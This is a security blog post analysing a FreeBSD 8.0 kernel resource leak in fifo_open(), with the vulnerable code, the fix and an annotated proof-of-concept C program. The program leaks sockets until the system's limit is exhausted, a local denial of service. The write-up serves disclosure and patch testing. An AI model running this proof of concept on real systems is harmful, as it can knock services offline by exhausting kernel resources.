xorl %eax, %eax

FreeBSD FIFO Resource Leak

leave a comment »

I just read this email on freebsd-bugs mailing list. The bug was discovered and reported by Chitti Nimmagadda and Dorr H. Clark of Santa Clara University. Here is the vulnerable code as seen in usr/src/sys/fs/fifofs/fifo_vnops.c of FreeBSD 8.0-STABLE release.

/*
 * Open called to set up a new instance of a fifo or
 * to find an active instance of a fifo.
 */
/* ARGSUSED */
static int
fifo_open(ap)
        struct vop_open_args /* {
                struct vnode *a_vp;
                int  a_mode;
                struct ucred *a_cred;
                struct thread *a_td;
                struct file *a_fp;
        } */ *ap;
{
        struct vnode *vp = ap->a_vp;
        struct fifoinfo *fip;
        struct thread *td = ap->a_td;
        struct ucred *cred = ap->a_cred;
        struct file *fp = ap->a_fp;
        struct socket *rso, *wso;
        int error;
    ...
         if ((fip = vp->v_fifoinfo) == NULL) {
    ...
        }
    ...
         if (ap->a_mode & FWRITE) {
                 if ((ap->a_mode & O_NONBLOCK) && fip->fi_readers == 0) {
                         mtx_unlock(&fifo_mtx);
                         return (ENXIO);
                 }
                 fip->fi_writers++;
                 if (fip->fi_writers == 1) {
                         SOCKBUF_LOCK(&fip->fi_readsock->so_rcv);
                         fip->fi_readsock->so_rcv.sb_state &= ~SBS_CANTRCVMORE;
                         SOCKBUF_UNLOCK(&fip->fi_readsock->so_rcv);
                         if (fip->fi_readers > 0) {
                                 wakeup(&fip->fi_readers);
                                 sorwakeup(fip->fi_readsock);
                         }
                 }
         }
    ...
                 if ((ap->a_mode & FWRITE) && fip->fi_readers == 0) {
                         VOP_UNLOCK(vp, 0);
                         error = msleep(&fip->fi_writers, &fifo_mtx,
                             PDROP | PCATCH | PSOCK, "fifoow", 0);
                         vn_lock(vp, LK_EXCLUSIVE | LK_RETRY);
                         if (error) {
                                 fip->fi_writers--;
                                 if (fip->fi_writers == 0) {
                                         socantrcvmore(fip->fi_readsock);
                                         mtx_lock(&fifo_mtx);
                                         fip->fi_wgen++;
                                         mtx_unlock(&fifo_mtx);
                                         fifo_cleanup(vp);
                                 }
                                 return (error);
                         }
    ...
}

In this code, ‘vp’ pointer is used to store a ‘vnode’ structure (defined in sys/vnode.h). The bug is a missing clean up of that structure before returning. As you can read in last ‘if’ clause, in case of an error in msleep(), it will decrement the writers’ reference counter, and if there are no others left, it will lock the socket descriptor ‘fip->fi_readsock’ using socantrcvmore(), then start a MUTEX lock to increment ‘fip->fi_wgen’ counter and finally, call fifo_cleanup() on ‘vp’ pointer to dispose the FIFO resources like this:

/*
 * Dispose of fifo resources.
 */
static void
fifo_cleanup(struct vnode *vp)
{
        struct fifoinfo *fip = vp->v_fifoinfo;
 
        ASSERT_VOP_ELOCKED(vp, "fifo_cleanup");
        if (fip->fi_readers == 0 && fip->fi_writers == 0) {
                vp->v_fifoinfo = NULL;
                (void)soclose(fip->fi_readsock);
                (void)soclose(fip->fi_writesock);
                free(fip, M_VNODE);
        }
}

However, in fifo_open() the ‘if’ clause for ‘ap->a_mode & FWRITE’, in case of non-blocking mode on that FIFO and a readers’ reference counter equal to zero it will unlock the FIFO MUTEX and return ENXIO (aka. Device not configured) without releasing the resource. This results in a resource leak.
The suggested patch as we can read in the original advisory, is to add the missing clean-up function.

                if ((ap->a_mode & O_NONBLOCK) && fip->fi_readers == 0) {
                        mtx_unlock(&fifo_mtx);
+                       /* Exclusive VOP lock is held - safe to clean */
+                       fifo_cleanup(vp);
                        return (ENXIO);
                }

At last, the authors of the advisory provide a PoC code to demonstrate the vulnerability. Here is a quick review of that code…

#include <stdio.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/sysctl.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>


#define FIFOPATH "/tmp/fifobug.debug"

void getsysctl(name, ptr, len)
    const char *name;
    void *ptr;
    size_t len;
{
    size_t nlen = len;
    if (sysctlbyname(name, ptr, &nlen, NULL, 0) != 0) {
                perror("sysctl");
                printf("name: %s\n", name);
                exit(-1);
    }
    if (nlen != len) {
        printf("sysctl(%s...) expected %lu, got %lu", name,
            (unsigned long)len, (unsigned long)nlen);
                exit(-2);
    }
}

This function is used as a wrapper around sysctlbyname(3) library routine. The following code is this…

main(int argc, char *argv[])
{
	int acnt = 0, bcnt = 0, maxcnt;
	int fd;
	unsigned int maxiter;
	int notdone = 1;
	int i= 0;

	getsysctl("kern.ipc.maxsockets", &maxcnt, sizeof(maxcnt));
	if (argc == 2) {
		maxiter = atoi(argv[1]);
	} else {
		maxiter = maxcnt*2;
	}

They retrive the maximum IPC socket number using the previous wrapper routine and set ‘maxiter’ to that value multiplied by two unless the user specified a value through the first argument of the program. The next code is this.

	unlink(FIFOPATH);
	printf("Max sockets: %d\n", maxcnt);
	printf("FIFO %s will be created, opened, deleted %d times\n", 
		FIFOPATH, maxiter);

	getsysctl("kern.ipc.numopensockets", &bcnt, sizeof(bcnt));

They unlink the “/tmp/fifobug.debug” file and after some printf(3)s, they store the number of the open IPC sockets to ‘bcnt’ variable. Next part is…

	while(notdone && (i++ < maxiter)) {
		if (mkfifo(FIFOPATH, 0) == 0) {
			chmod(FIFOPATH, 
				S_IRUSR|S_IWUSR|S_IRGRP|S_IWGRP|S_IROTH|S_IWOTH);
		}
		fd = open(FIFOPATH, O_WRONLY|O_NONBLOCK);
		if ((fd <= 0) && (errno != ENXIO)) {
			notdone = 0;
		} 
		unlink(FIFOPATH);
	}

This loop will iterate as long as it has not reached more than ‘maxiter’ (maximum IPC socket number multiplied by two) times and flag ‘notdone’ is non-zero. Inside the ‘while’ loop, it creates a FIFO in the previously unlinked file and sets its mode accordingly. Then, it opens that FIFO as write only and non-blocking and then it just unlinks it. If the open(2) system call returns ‘ENXIO’, flag ‘notdone’ is zeroed out. This is a simple code to reach the fiflo_open() bug discussed above since the FIFO created is on write and non-blocking mode and it has no readers on it.
Finally, the code continues…

	getsysctl("kern.ipc.numopensockets", &acnt, sizeof(acnt));
	printf("Open Sockets: Before Test: %d, After Test: %d, diff: %d\n",
		 bcnt, acnt, acnt - bcnt);
	if (notdone) {
		printf("FIFO/socket bug is fixed\n");
		exit(0);
	} else {
		printf("FIFO/socket bug is NOT fixed\n");
		exit(-1);
	}
}

Just some printf(3)s of the number of open IPC sockets using the sysctl(3) interface and an informative message if the system had returned ‘ENXIO’ (meaning it’s buggy) and consequently zeroed out ‘notdone’ or not.

About these ads

Written by xorl

November 6, 2009 at 03:57

Posted in bugs, freebsd

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

Follow

Get every new post delivered to your Inbox.

Join 63 other followers